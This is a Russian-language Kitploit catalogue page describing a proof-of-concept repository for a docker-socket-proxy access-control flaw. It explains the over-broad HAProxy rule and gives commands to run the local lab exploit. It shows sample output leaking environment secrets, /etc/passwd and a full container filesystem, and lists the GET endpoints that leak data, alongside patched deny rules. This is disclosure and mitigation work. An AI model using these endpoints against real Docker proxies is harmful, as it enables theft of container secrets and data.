Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-78122-POC — Концептуальный эксплойт для CVE-2026-78122, демонстрирующий эксфильтрацию файловой системы контейнера и переменных окружения через грубые правила доступа docker-socket-proxy, а также исправленную конфигурацию HAProxy. | Kitploit
Инструменты/GitHubGitHub/legendile7/cve-2026-78122-poc
Безопасность контейнеровАнализ уязвимостейЭксплуатацияАудит конфигурацииЭксфильтрация данныхЛаборатории и Практика
GitHublegendile7/cve-2026-78122-poc

CVE-2026-78122-POC

Концептуальный эксплойт для CVE-2026-78122, демонстрирующий эксфильтрацию файловой системы контейнера и переменных окружения через грубые правила доступа docker-socket-proxy, а также исправленную конфигурацию HAProxy.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
11 день назадЕщё не проверено

CVE-2026-78122 — Доказательство концепции

Tecnativa docker-socket-proxy ≤ 0.5.0 — Недостаточная гранулярность контроля доступа (CWE-1220) CVSS 4.0: 8.3 (Высокий) — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Вектор атаки — соседняя сеть (AV:A): атакующему требуется локальный/соседний сетевой доступ к прокси — именно поэтому его размещение вне любых маршрутизируемых интерфейсов является частью мер смягчения.

docker-socket-proxy — это HAProxy-фронтенд для Docker-сокета, всё назначение которого — предоставлять ограниченный, минимально-привилегированный доступ к Docker API. Канонический «безопасный, только для чтения» рецепт, который используют операторы:

root@kitploit:~
CONTAINERS=1     # allow listing/inspecting containers
POST=0           # deny everything that mutates state
# every other flag left at its default (0)

Операторы обоснованно полагают, что это даёт метаданные контейнеров только для чтения. Это не так.

Корневая причина

В haproxy.cfg всё пространство имён /containers ограничено одним грубым правилом по префиксу:

root@kitploit:~
http-request allow if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers } { env(CONTAINERS) -m bool }

Это регулярное выражение соответствует каждому GET-подпути внутри /containers, включая чувствительные конечные точки чтения, которые никогда не должны были быть частью «списка контейнеров». Поскольку все они используют GET, защита POST=0 не может их остановить:

Итоговый эффект: при «усиленной» конфигурации CONTAINERS=1, POST=0 любой, кто может добраться до прокси, может выгрузить секреты и выкрасть полную файловую систему каждого контейнера на хосте.

Структура

root@kitploit:~
lab/        vulnerable docker-socket-proxy v0.5.0 + a victim container with planted secrets
exploit/    exploit.sh — end-to-end data-exfiltration PoC
mitigation/ patched haproxy.cfg + compose that denies the sensitive sub-paths
verify.sh   one command: stand up both, exploit, print a before/after table
teardown.sh stop everything
loot/        exploit output lands here

Запуск

Требуются Docker + Docker Compose и POSIX-шелл (на Windows подойдёт Git Bash).

root@kitploit:~
./verify.sh

Или по шагам:

root@kitploit:~
docker compose -f lab/docker-compose.yml up -d      # vulnerable proxy on 127.0.0.1:2375
bash exploit/exploit.sh http://127.0.0.1:2375        # loot lands in ./loot

Прокси привязан только к 127.0.0.1. Никогда не выставляйте прокси Docker-сокета на маршрутизируемый интерфейс.

Наблюдаемый результат (v0.5.0)

root@kitploit:~
[+] POST /containers/create -> 403 Forbidden   (operator believes they are safe)
    Leaked environment variables:
      STRIPE_API_KEY=sk_live_FAKE_0000000000000000
      DB_PASSWORD=hunter2-from-container-env
[+] Pulled /etc/passwd via /archive
[+] Stole /run/secrets/aws.env via /archive
[+] Exported entire filesystem (8,095,232 bytes) via /export
[+] Retrieved process table via /top and logs via /logs

Каждый пункт выше был получен при всё ещё действующем POST=0.

Смягчение

Настоящее исправление: обновитесь до исправленного релиза (отслеживается в issue #182 / PR #183) и перестаньте полагаться на то, что один лишь CONTAINERS=1 даёт «только чтение».

Этот репозиторий также включает готовый усиленный конфиг (mitigation/haproxy.patched.cfg), который добавляет явные правила deny для опасных подпутей до общего разрешающего правила /containers; каждое из них можно снова включить отдельным флагом (ALLOW_ARCHIVE, ALLOW_EXPORT, ALLOW_LOGS, ALLOW_TOP):

root@kitploit:~
http-request deny if { ... /containers/[..]/archive } ! { env(ALLOW_ARCHIVE) -m bool }
http-request deny if { ... /containers/[..]/export }  ! { env(ALLOW_EXPORT)  -m bool }
http-request deny if { ... /containers/[..]/logs }    ! { env(ALLOW_LOGS)    -m bool }
http-request deny if { ... /containers/[..]/top }     ! { env(ALLOW_TOP)     -m bool }

Проверено до/после (вывод verify.sh) — та же конфигурация CONTAINERS=1, POST=0:

Легитимные операции list/inspect по-прежнему работают; примитивы эксфильтрации заблокированы.

С эксплуатационной точки зрения также: держите прокси вне любой маршрутизируемой сети, монтируйте docker-сокет в режиме только для чтения и применяйте минимальные привилегии (включайте только те флаги, которые нужны потребителю).

Ссылки

  • CVE-2026-78122 (NVD) — https://nvd.nist.gov/vuln/detail/CVE-2026-78122
  • CVE-2026-78122 (cvefeed) — https://cvefeed.io/vuln/detail/CVE-2026-78122
  • Консультация VulnCheck — https://www.vulncheck.com/advisories/docker-socket-proxy-through-insufficient-access-control-granularity-exposes-container-filesystems
  • Оригинальное описание (nedlir) — https://gist.github.com/nedlir/e4f52f88a757f02c67db1fd5dd70d732
  • Оригинальный репозиторий — https://github.com/Tecnativa/docker-socket-proxy
  • Уязвимая конфигурация — https://github.com/Tecnativa/docker-socket-proxy/blob/v0.5.0/haproxy.cfg#L49-L61
  • Issue #182 / PR #183

Только для авторизованного тестирования безопасности и обучения. Лаборатория полностью запускается на вашем собственном хосте с контейнерами, которые вы создали.

Скачать инструмент
Endpoint (GET)Что утекает
/containers/{id}/archive?path=…Произвольное чтение файлов из любого контейнера
/containers/{id}/exportПолная файловая система контейнера в виде tar
/containers/{id}/logsstdout/stderr контейнера
/containers/{id}/topСписок процессов с полным argv (может содержать учётные данные)
/containers/{id}/jsonПолный конфиг, включая переменные окружения
GET endpointУязвимый (:2375)Исправленный (:2376)
/containers/json (список)200200
/containers/{id}/json (inspect)200200
/containers/{id}/archive200403
/containers/{id}/export200403
/containers/{id}/logs200403
/containers/{id}/top200403